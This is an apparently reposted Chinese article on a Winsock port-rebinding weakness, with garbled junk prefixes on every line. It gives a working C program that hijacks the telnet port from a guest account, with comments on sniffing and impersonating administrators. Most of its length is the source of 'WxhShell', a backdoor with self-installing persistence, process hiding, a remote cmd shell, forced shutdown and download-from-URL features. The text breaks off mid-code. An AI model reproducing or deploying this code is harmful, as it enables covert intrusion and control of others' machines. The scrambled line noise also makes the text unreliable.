在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
:WGtR\tK s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Z!d7&T} 5OIc(YhYf saddr.sin_family = AF_INET;
K)7zKEp`cj MOn,Db$ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
-${DW^txMZ +@9gkPQQ-@ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
{P9J8@D C<^YVeG 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
D\~zS`} -kz4FS 这意味着什么?意味着可以进行如下的攻击:
{>3\N0e5 |s7`F% 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
)'4P.>!!aQ pnyWcrBf 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
09KcKhFB %U7.7dSOI; 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
-b&{+= ^c [./6At&| 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
}/dRU${! &hHW3Q(1 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
t22;87&| I:&/`K4,x, 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
`Ycf]2.,$ R9We/FhOY 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
p1pQU={< u*S=[dq #include
qIUfPA=/_ #include
[,EpN{l #include
6\7ncFO3 #include
zr v] DWORD WINAPI ClientThread(LPVOID lpParam);
x} /,yaWZ int main()
ql{(Lf$ {
Jo(`zuLJ WORD wVersionRequested;
mM.*b@d- DWORD ret;
>DM44 WSADATA wsaData;
gyHHoZc3 BOOL val;
:nHKl
SOCKADDR_IN saddr;
<Tw>|cFT SOCKADDR_IN scaddr;
})xp%<` int err;
p=GWq(S6 SOCKET s;
~\p]~qQ\K SOCKET sc;
] H~4 int caddsize;
v dbO( HANDLE mt;
.9*wY0: DWORD tid;
-hcS]~F wVersionRequested = MAKEWORD( 2, 2 );
] G.%Ty err = WSAStartup( wVersionRequested, &wsaData );
',3HlOJ: if ( err != 0 ) {
(GnuWc\p printf("error!WSAStartup failed!\n");
`J<*9dq% return -1;
XLk<*0tp }
j| Wv7 saddr.sin_family = AF_INET;
5S
Xn? _!;Me
)C //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
N/YWb y=H 6h?gs"[j saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
v`J*ixZ7t saddr.sin_port = htons(23);
J2q,7wI# if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
4!Z5og1kn {
,H}_%}10 printf("error!socket failed!\n");
5IOFSy` return -1;
#?MY&hdU9 }
-\ZcOXpMx= val = TRUE;
5*PYT=p} //SO_REUSEADDR选项就是可以实现端口重绑定的
r;9 r!$d if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
7*Qk`*Ii {
.LVQx printf("error!setsockopt failed!\n");
$CTSnlPq return -1;
(@X~VACT }
fy@avo9 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Dih6mTP{ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
r?m+.fJB //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
^L1L=c;, 6K
cD&S/ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
g,`A[z2 {
f:*vr['d ret=GetLastError();
G)#$]diNuX printf("error!bind failed!\n");
1"8yLvtn return -1;
LZPuDf~/ }
f-6vLX\Vu listen(s,2);
U<"WK"SM while(1)
gK#mPcn^ {
EcIE~qs caddsize = sizeof(scaddr);
ELrsx{p: //接受连接请求
rn DCqv!'P sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Gir#"5F if(sc!=INVALID_SOCKET)
=U[3PC-N@ {
i
8!zu!-0 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Er/bO if(mt==NULL)
Ze<K=Q%(i {
T +5X0 Nv printf("Thread Creat Failed!\n");
`k(yZtb break;
ZnFi<@UB) }
}nt*
[:% }
#QCphhG CloseHandle(mt);
&1%q"\VI }
zX5!vaEv closesocket(s);
Yw _+`,W WSACleanup();
0![
+Q4" return 0;
,1'4o3 }
pZ`|iLNl- DWORD WINAPI ClientThread(LPVOID lpParam)
=_j vk. {
FYs)MO SOCKET ss = (SOCKET)lpParam;
umz;F SOCKET sc;
%0#1t 5g unsigned char buf[4096];
gOgps: SOCKADDR_IN saddr;
`[o)<<} long num;
4'W '}o|{ DWORD val;
jq'!UN{ DWORD ret;
HW&%T7
a //如果是隐藏端口应用的话,可以在此处加一些判断
IUR<.Y` //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
t+oJV+@ saddr.sin_family = AF_INET;
&`b
"a! saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
=4GSg1Biy saddr.sin_port = htons(23);
|6Gm:jV if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
5J8r8` t {
'`'GK&) printf("error!socket failed!\n");
=b;>?dP return -1;
Cg*H.f%Mr }
y@CHR val = 100;
Q1V9PRZX if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
9nu3+.&P {
J0zn- ret = GetLastError();
IwGqf.!.> return -1;
NM)k/?fA }
H>r!i4l if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
3_JCU05H} {
9rh}1eo7 ret = GetLastError();
hdTzCfeZ5@ return -1;
!lo/xQ< }
}b 1cLchl if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
CJ}5T]WZ {
:JlP[I
printf("error!socket connect failed!\n");
6TP7b| closesocket(sc);
;lYHQQd!, closesocket(ss);
P`r55@af4 return -1;
;?C#IU }
9@Cv5L?p\ while(1)
>u9Nz0?j {
tabT0 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
W0I#\b18 //如果是嗅探内容的话,可以再此处进行内容分析和记录
Bc3:}+l //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
oyo(1> num = recv(ss,buf,4096,0);
!8`3GX:B_ if(num>0)
SkU9ON send(sc,buf,num,0);
V I%
6.6D else if(num==0)
U]a*uF~h break;
vn/.}GkpU num = recv(sc,buf,4096,0);
H@]MXP[_ if(num>0)
8enEA^ send(ss,buf,num,0);
:[;hu}!& else if(num==0)
[w ;kkMJAy break;
ybp -$e }
<w3!!+oK" closesocket(ss);
pW4 cX closesocket(sc);
YBh'EL}P return 0 ;
r'gOVi4t1* }
8,dBl!G= Q1@A2+ c A 7[:5$ ==========================================================
K98i[,rP TX 下边附上一个代码,,WXhSHELL
SwZA6R& :1Sl"?xU ==========================================================
{k rswh3 ;#Q%j%J #include "stdafx.h"
)>BHL3@ $.]l!cmi%Q #include <stdio.h>
XrZ*1V #include <string.h>
V)}rEX #include <windows.h>
;;&}5jcV #include <winsock2.h>
-W>'^1cR #include <winsvc.h>
n_'{^6*O #include <urlmon.h>
S6fb f>[ cu+FM #pragma comment (lib, "Ws2_32.lib")
[z7bixN #pragma comment (lib, "urlmon.lib")
I!^O)4QRx fFQ|T:vm #define MAX_USER 100 // 最大客户端连接数
p,"g+ MwP #define BUF_SOCK 200 // sock buffer
6AocmR0D' #define KEY_BUFF 255 // 输入 buffer
EYA,hc =*Bl|;>6 #define REBOOT 0 // 重启
/*0K92NB #define SHUTDOWN 1 // 关机
)=Jk@yj8x y(
y8+ZT #define DEF_PORT 5000 // 监听端口
B#9{-t3Vf ?IpLf\n- #define REG_LEN 16 // 注册表键长度
(W}bG>!#Q8 #define SVC_LEN 80 // NT服务名长度
>rvQw63\ }f2r!7:x // 从dll定义API
U(x]O/m typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
jlxpt)0i typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
2#k5+?-c61 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
H/}]FmjN typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
NVRLrJWpp u]OW8rc // wxhshell配置信息
fDLG>rXPT struct WSCFG {
=FD;~ int ws_port; // 监听端口
Ha)ANAD char ws_passstr[REG_LEN]; // 口令
:,)lm.}]t int ws_autoins; // 安装标记, 1=yes 0=no
f5 `g char ws_regname[REG_LEN]; // 注册表键名
kwsp9 0) char ws_svcname[REG_LEN]; // 服务名
4bgqg0z> char ws_svcdisp[SVC_LEN]; // 服务显示名
/&4U6a char ws_svcdesc[SVC_LEN]; // 服务描述信息
X]y)qV)a[c char ws_passmsg[SVC_LEN]; // 密码输入提示信息
={u0_j
W int ws_downexe; // 下载执行标记, 1=yes 0=no
qgrg CJ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
vx4+QQYP char ws_filenam[SVC_LEN]; // 下载后保存的文件名
mkR2i> G z)NwD };
Po%(~ )S> Dl}$pN // default Wxhshell configuration
jmeRrnC} struct WSCFG wscfg={DEF_PORT,
cv`~y'?D "xuhuanlingzhe",
dUsxvho 1,
--DoB=5%8 "Wxhshell",
,cqF3 "Wxhshell",
"Iix
)Ue "WxhShell Service",
g&{9VK6. "Wrsky Windows CmdShell Service",
P~ &$l2 "Please Input Your Password: ",
rXHv`ky 1,
b5^OQH{v "
http://www.wrsky.com/wxhshell.exe",
)5
R=Z< "Wxhshell.exe"
k?7 X3/O };
"!EcbR C"{k7yT // 消息定义模块
QPq7R char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
KZeQ47| char *msg_ws_prompt="\n\r? for help\n\r#>";
0Zg%+)iy@ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
0#MqD[U( char *msg_ws_ext="\n\rExit.";
//aF5:Y# char *msg_ws_end="\n\rQuit.";
Gw1@KKg char *msg_ws_boot="\n\rReboot...";
=)7s $
p char *msg_ws_poff="\n\rShutdown...";
LcE+GC char *msg_ws_down="\n\rSave to ";
'PP#^aI, ^4o;$u4R char *msg_ws_err="\n\rErr!";
R=KQ char *msg_ws_ok="\n\rOK!";
PsZ
>P|e1 |n] d34E char ExeFile[MAX_PATH];
'g{9@PkGn int nUser = 0;
S<J}[I7V HANDLE handles[MAX_USER];
y\x+ int OsIsNt;
Mec5h}^ [n/hkXa$\ SERVICE_STATUS serviceStatus;
.c$316 SERVICE_STATUS_HANDLE hServiceStatusHandle;
}-@`9(o`) iya"ky~H // 函数声明
*<!oHEwkN int Install(void);
!Xph_SQ!B= int Uninstall(void);
B2O} 1. int DownloadFile(char *sURL, SOCKET wsh);
plZ>03(6Q int Boot(int flag);
wKsT7c' void HideProc(void);
l\n@cQR int GetOsVer(void);
&e8s65` int Wxhshell(SOCKET wsl);
_(KbiEB{ void TalkWithClient(void *cs);
0c#/hFn int CmdShell(SOCKET sock);
7t*"%]o int StartFromService(void);
9WR6!.y#f int StartWxhshell(LPSTR lpCmdLine);
&%/7E_j7 fS`$'BQ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
u#@Q:tnN_ VOID WINAPI NTServiceHandler( DWORD fdwControl );
q?ix$nKOv NhYLtw^u // 数据结构和表定义
ny54XjtG, SERVICE_TABLE_ENTRY DispatchTable[] =
Ct%x&m: {
Z@$8I{}G {wscfg.ws_svcname, NTServiceMain},
l(#)WWr+ {NULL, NULL}
dYgXtl=#j };
fX|Y;S-@+ >_LDMs[-p // 自我安装
T'b_W,m~,u int Install(void)
=*LS%WI {
Y(d$ char svExeFile[MAX_PATH];
$O5UyKI HKEY key;
&kpwo ) strcpy(svExeFile,ExeFile);
STaA]i}P jNC4_q& // 如果是win9x系统,修改注册表设为自启动
y? co| if(!OsIsNt) {
2TA*m{\Hr if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
L5\WpM= RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
eET}r24 RegCloseKey(key);
xagBORg+Bd if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Zp#v Hs RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
XSZ k%_ RegCloseKey(key);
Ny%(VI5: return 0;
c=`wg$2:5 }
l
c '=mA }
@Rw!'T }
v@d else {
:EA\)@^$R TU
1I} , // 如果是NT以上系统,安装为系统服务
lgtC |kM= SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
)
v,:N.@Q if (schSCManager!=0)
_> *jH' {
!U~WK$BP SC_HANDLE schService = CreateService
$
<#KA3o\ (
8M`#pN^ schSCManager,
&HY+n)
o wscfg.ws_svcname,
E2{FK)qT wscfg.ws_svcdisp,
({=gw9f SERVICE_ALL_ACCESS,
;/rXQe1 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
I}vmU^Y> SERVICE_AUTO_START,
9,r rQQD_ SERVICE_ERROR_NORMAL,
|1>*;\o- svExeFile,
JC3m.)/ NULL,
g'm+/pU)w) NULL,
1OF&
* NULL,
,5*eX NULL,
%$Aqle[ NULL
8UVmv=T );
;IokThI if (schService!=0)
9b*nLyYVz {
ZKckAz\# CloseServiceHandle(schService);
o$Z6zm xO CloseServiceHandle(schSCManager);
b^$|Nz;
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
DY?Kfvef strcat(svExeFile,wscfg.ws_svcname);
n0e1k.A if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
]h5Yg/sms RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
9& 83n(m RegCloseKey(key);
GJqJlgHe return 0;
wD]/{
jw }
s=QAO!aw }
>M/V oV CloseServiceHandle(schSCManager);
xsMBC
}
[F6U+1n8e }
SK#(#OQoh Ch3jxgQY return 1;
U b* wuI }
L');!/: :d#VE-e // 自我卸载
AQiwugs int Uninstall(void)
eXf22;Lz {
8{X"h# HKEY key;
3^6
d]f ikSt"}/hd if(!OsIsNt) {
-xA2pYz" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
T]=r Co RegDeleteValue(key,wscfg.ws_regname);
+lMX{es\O RegCloseKey(key);
HEM9E&rL if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
vG"=h% RegDeleteValue(key,wscfg.ws_regname);
uD@# RegCloseKey(key);
lH6OcD:kj return 0;
+P`*kj-P\ }
Kiu_JzD }
1jF`5k }
PU1Qsb5 else {
trp0V4b8 [S>2ASj SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
AGYc |; if (schSCManager!=0)
7*Ej. HK {
pv Gf\pu SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
+y3%3EKs1~ if (schService!=0)
aN8|J?JH {
DuHu\>f<S if(DeleteService(schService)!=0) {
%YC_Se7 CloseServiceHandle(schService);
1BpiV-]=
CloseServiceHandle(schSCManager);
L$E{ycn return 0;
8;+B*+%@n }
'GS"8w~j CloseServiceHandle(schService);
T,
)__h }
428>BQA CloseServiceHandle(schSCManager);
|='z{WS }
Qh'ATo }
tE`u(B, |~vI3]}fx return 1;
.w8J*JZ }
r 0iK wlqpn(XR // 从指定url下载文件
esMX-.8Cx int DownloadFile(char *sURL, SOCKET wsh)
ap+JQ@b {
SX#
e:_ HRESULT hr;
`u
teg= char seps[]= "/";
X6@WwM~qz char *token;
~3WF,mW char *file;
)6D,d5< char myURL[MAX_PATH];
:i .{ char myFILE[MAX_PATH];
Wg<(ms dj h _+dT strcpy(myURL,sURL);
vRHd&0 token=strtok(myURL,seps);
xk5@d6Y{r while(token!=NULL)
HV{wI1 {
m0;CH/D0 file=token;
7KAO+\)H^Y token=strtok(NULL,seps);
uJC~LC N }
c_'OPJ \Ani}qQ%| GetCurrentDirectory(MAX_PATH,myFILE);
|m^k_d!d strcat(myFILE, "\\");
G(G{RAk> strcat(myFILE, file);
~5CBEIF(NS send(wsh,myFILE,strlen(myFILE),0);
uYs5f.! ` send(wsh,"...",3,0);
J:V6 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
5',8 ziJQ if(hr==S_OK)
)W;o<:x3 return 0;
4;0lvDD else
5n9B?T8C return 1;
]);%wy{Ho Vt".%d/`7 }
+~mA}psr ~l]ve,W[ // 系统电源模块
,P70Jb int Boot(int flag)
jw^<IMAG\8 {
hp 5|@ HANDLE hToken;
'+?"iVVo TOKEN_PRIVILEGES tkp;
ZK@N5/H( 0"\H^ if(OsIsNt) {
@M_oH:GV OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
hPUYyjXPB LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
"NXB$a!: tkp.PrivilegeCount = 1;
IDB+%xl#S tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
2ZG5<"DQ" AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
[f1
(`< if(flag==REBOOT) {
oPXkYW if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
d(:8M return 0;
4,CXJ2 }
}dWq=)* else {
o7sT=x9 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
ToXki, return 0;
MbZJ;,e? }
N D(/uyI }
di6QVRj1 else {
XBb~\p3y if(flag==REBOOT) {
KLitg6&P if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
8&?s#5zA return 0;
hRrn$BdLX }
XINu=N(g else {
g1W.mAA3B if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
V C24sU return 0;
Rv$[)`&T }
^=RffrlZU }
=u2l.CX ]yx$(6_U return 1;
zMm#Rhn }
d%RC |Lf"6^@yh // win9x进程隐藏模块
rvbLyv;~ void HideProc(void)
@|63K)Xy {
vY${;#~| R`DKu= HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Nn~~!q if ( hKernel != NULL )
jr /pj? {
||hb~%JK6 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
PT=2@kH ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
gcPTLh[^Er FreeLibrary(hKernel);
TarIPp }
,9}h j.w@(<=x return;
aI6$? wus }
h]5C|M| JORGj0v // 获取操作系统版本
aB{vFTD5 int GetOsVer(void)
)z73-M V" {
q Gw -tPD< OSVERSIONINFO winfo;
gX]-\ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
njScz"L~ GetVersionEx(&winfo);
Q<^Tl(`/N? if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
nrxo&9[@n return 1;
\N!AXD else
OWjk=u2Lz return 0;
p?7v$ev_ }
5NS[dQG5 %r%M lj:# // 客户端句柄模块
KxYwJ int Wxhshell(SOCKET wsl)
w+#C-&z {
86 W9rR SOCKET wsh;
6:Ch^c+IZ struct sockaddr_in client;
XQ9O$
~q DWORD myID;
]iN'x?Fo :PIF07$xl while(nUser<MAX_USER)
:km61 {
DcoX+8 7 int nSize=sizeof(client);
FbaEB RM wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
}=gx# if(wsh==INVALID_SOCKET) return 1;
\O*-#} ~\ TcjEcMw, handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Hfwq/Is if(handles[nUser]==0)
^)(bM$(` closesocket(wsh);
~P8tUhffK else
T>}5:,N~ nUser++;
66/3|83Z }
5][Ztx WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
5R@ \6E|pbJ}x return 0;
0B@SN)<kH }
J&[@}$N ,0*&OXt // 关闭 socket
t2F_uCr void CloseIt(SOCKET wsh)
k2c}3 MeP {
6x h:/j3 closesocket(wsh);
/<@SFF. nUser--;
*c~T@m~DR ExitThread(0);
!46RGU:I }
#!aN{nK0 {1V($aBl // 客户端请求句柄
"= 6_V?&w void TalkWithClient(void *cs)
:3XA!o&.T3 {
@&%'4j&+ 2z6yn?'&L SOCKET wsh=(SOCKET)cs;
\>jLRb|7Ts char pwd[SVC_LEN];
(]0%}$Fo char cmd[KEY_BUFF];
o<<xY< char chr[1];
1rv)&tKs int i,j;
])|d"[ur= //T>G_1 while (nUser < MAX_USER) {
)PG6gZYW U=DmsnD, if(wscfg.ws_passstr) {
A<5ZF27 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
J7= + //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
IE;~?W" //ZeroMemory(pwd,KEY_BUFF);
A?CcHw
rT i=0;
<j&DK2u=i while(i<SVC_LEN) {
p2n0Z\2 @hJ%@( // 设置超时
wfU7G[ fd_set FdRead;
l>Z5 uSG struct timeval TimeOut;
6l5:1|8b,! FD_ZERO(&FdRead);
LQ(yScA@ FD_SET(wsh,&FdRead);
[s"O mAy4 TimeOut.tv_sec=8;
4{hps.$?~ TimeOut.tv_usec=0;
X%Z{K- int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
FME3sa$ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
i`QKH |zQ4u if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
=U #dJ^4P pwd
=chr[0]; CK,7^U
if(chr[0]==0xd || chr[0]==0xa) { _d"b;4l
pwd=0; OK{quM5
break; q}~3C1
} q*F{/N**
i++; (@%gS[]
} V.O(S\
7![,Q~Fy
// 如果是非法用户,关闭 socket M,/mE~
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \@8+U;d
} n#q<`}u,
*pAV2V(!23
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); u+'tfFds&
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); IPgt|if^
.QA }u ,EN
while(1) {
tNGp\~
NdL,F;^
ZeroMemory(cmd,KEY_BUFF); 62 O.?Ij
7B!xT2{T
// 自动支持客户端 telnet标准 k"NVV$;
j=0; DE%KW:Hug
while(j<KEY_BUFF) { 3gv|9T
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]z l[H7
cmd[j]=chr[0]; 9cf:pXMi
if(chr[0]==0xa || chr[0]==0xd) { @!`Xl*l
cmd[j]=0; k p<OJy
break; =R #Qx,
} M[6:p2u
j++; {$R' WXVs
} IB[)TZ2m
i'9vL:3
// 下载文件 ~~v3p>z Rr
if(strstr(cmd,"http://")) { ?Lyxw]
send(wsh,msg_ws_down,strlen(msg_ws_down),0); {B[=?6tQ
if(DownloadFile(cmd,wsh)) 7(qE0R&@
send(wsh,msg_ws_err,strlen(msg_ws_err),0); P"W2(d
else &Q>k7L!
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !P)O(i=
} a4XU?-sUh
else { @xbQ Ye%J
A9wh(P0\
switch(cmd[0]) { !q9+9 *6
2
dAB-d:k
// 帮助 ~kZ G{
case '?': { zx-81fx+k
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \De{9v
break; c- }X_)U }
} c17_2 @N
// 安装 95YL]3V
case 'i': { %]>KvoA
if(Install()) pgOQIzu
send(wsh,msg_ws_err,strlen(msg_ws_err),0); KO]T<R
h<
else eu(:`uu
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +tVaBhd!
break; So0f)`A
} kdl:Wt*4o
// 卸载 SzjkI+-$:
case 'r': { p4'G$]#
if(Uninstall()) @7?#Y|`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); DpUbzr41+k
else #7MUJY+
9
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7cTV?nc
break; w)Q0_2p.
} Vl:^>jTki
// 显示 wxhshell 所在路径 D'J0wT#
case 'p': { CbwJd5tk
char svExeFile[MAX_PATH]; m06ALD_
strcpy(svExeFile,"\n\r"); @}@Z8$G^
strcat(svExeFile,ExeFile); cUY`97bn
send(wsh,svExeFile,strlen(svExeFile),0); 8=gjY\Dp
break;
[N/"5
[
} K#pNec
// 重启 ]=>F.GE
case 'b': { DP3PYJ%+B
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); BDR.AZ
if(Boot(REBOOT))
8xccp4
send(wsh,msg_ws_err,strlen(msg_ws_err),0); d4?Mi2/jF
else { 22.8PO0
closesocket(wsh); Bs O+NP
ExitThread(0); wM2*#
} K%^V?NP*{Z
break; #MRMNL@
} )pq;*~IBI
// 关机 f'
3q(a<p
case 'd': { SV2M+5#;
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Of4^?`
^
if(Boot(SHUTDOWN)) aFS,GiB
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q$="_y2cTA
else { hM{{\yZS
closesocket(wsh); Uc@Ao:
ExitThread(0); 4`!Z$kt
} 'H
\9:7
break; 4:r!|PJn{G
} HbXPok
// 获取shell |Z=^`J
case 's': { qI~xlW
CmdShell(wsh); Tl2C^j
closesocket(wsh); @wE5S6! B\
ExitThread(0); (X?%^^e!
break; 4}4Pyjh
} A29gz:F(
// 退出 |j#C|V%kV
case 'x': { 1 D<_N
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); my4giC2a
CloseIt(wsh); _OuWB"
break; Kfh|
} :'~Y
// 离开 f;1K5Y
case 'q': {
@I_8T$N=
send(wsh,msg_ws_end,strlen(msg_ws_end),0); =8; {\
closesocket(wsh); aC%m- m
WSACleanup(); uF1~FKB
exit(1); >hk=VyU;
break; )u/yF*:n
} 6^%68N1k
} dIRm q+d^
} Qj.l:9%
4KH45|;3
// 提示信息 ~%SH3$
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C4~;y hz
} &?*V0luP)
} %jJ>x3$F
9hOJvQ2U]
return; 1@QZnF5[
} /+\uqF8F
dt`{!lts'
// shell模块句柄 V&Xe!S
int CmdShell(SOCKET sock) -3;*K4z$/
{ V-Cv,8
STARTUPINFO si; d*~ICir7
ZeroMemory(&si,sizeof(si)); G-?d3n
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; DjN|Wr)*
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;K!]4tfJ
PROCESS_INFORMATION ProcessInfo; #ZYVc|sT+
char cmdline[]="cmd"; 5ZMR,SZhC
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G|(
]bvJ?
return 0; j}~86JO+Cw
} $+>M{fg?
WC.t_"@
// 自身启动模式 kX>f^U{j
int StartFromService(void) Y0_),OaY
{ ,0hA'cp
typedef struct <-,gAk)u
{ N(y\dL=v
DWORD ExitStatus; q^r#F#*1l
DWORD PebBaseAddress; 89wU-Aggq
DWORD AffinityMask; oE(7v7iY
DWORD BasePriority; }MHCd)78b
